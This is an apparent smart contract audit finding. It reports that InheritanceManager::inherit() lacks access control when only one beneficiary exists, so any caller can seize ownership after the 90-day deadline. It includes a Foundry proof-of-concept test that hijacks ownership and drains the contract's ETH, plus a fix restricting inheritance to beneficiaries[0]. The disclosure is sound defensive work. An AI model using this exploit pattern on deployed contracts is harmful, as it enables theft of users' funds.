Summary
If the owner only adds a single beneficiary to the InheritanceManager::beneficiaries[] array using InheritanceManager::addBeneficiary(), after 90 days the contract ownership may be hijacked by a malicious actor that may check the timelock using InheritanceManager::getDeadline() and subsequently use InheritanceManager::inherit() to gain ownership.
Vulnerability Details
To allow for the owner to regain ownership from InheritanceManager::beneficiaries[] slot 0, the contract allows unprotected calls to InheritanceManager::inherit() (lines 217-229):
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
@> if (beneficiaries.length == 1) {
@> owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
The deadline for when to call InheritanceManager::inherit() may also be checked as InheritanceManager::getDeadline() is also unprotected (lines 193-195):
function getDeadline() public view returns (uint256) {
return deadline;
}
Impact
This provides the malicious actor with ownership and therefore access to all the functionality afforded the owner, including access to all assets stored in the contract.
Proof Of Concept
function test_maliciousInherit() public {
vm.startPrank(owner);
im.addBeneficiery(user1);
vm.stopPrank();
console.log("initial owner:\t\t%s", im.getOwner());
vm.deal(address(im), 10e10);
console.log("initial contract balance:\t%s", address(im).balance);
vm.startPrank(user2);
im.getDeadline();
console.log("malicous actor checks deadline:\t%s", im.getDeadline());
vm.stopPrank();
vm.warp(1 + 90 days);
vm.startPrank(user2);
im.inherit();
console.log("hijacked owner:\t\t%s", im.getOwner());
im.sendETH(address(im).balance, user2);
vm.stopPrank();
console.log("stolen funds:\t\t\t%s", user2.balance);
console.log("Final contract balance:\t%s", address(im).balance);
}
Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_maliciousInherit() (gas: 143779)
Logs:
initial owner: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
initial contract balance: 100000000000
malicous actor checks deadline: 7776001
hijacked owner: 0x537C8f3d3E18dF5517a58B3fB9D9143697996802
stolen funds: 100000000000
Final contract balance: 0
Tools Used
Foundry Forge:
forge test --mt test_maliciousInherit -vv
Recommendations
Modify the InheritanceManager::inherit() function so that only the beneficiary account in slot 0 is able to inherit ownership:
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
@> if (beneficiaries.length == 1 && beneficiaries[0] == msg.sender) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[FAIL: InvalidBeneficiaries()] test_maliciousInherit() (gas: 98504)
Logs:
initial owner: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
initial contract balance: 100000000000
malicous actor checks deadline: 7776001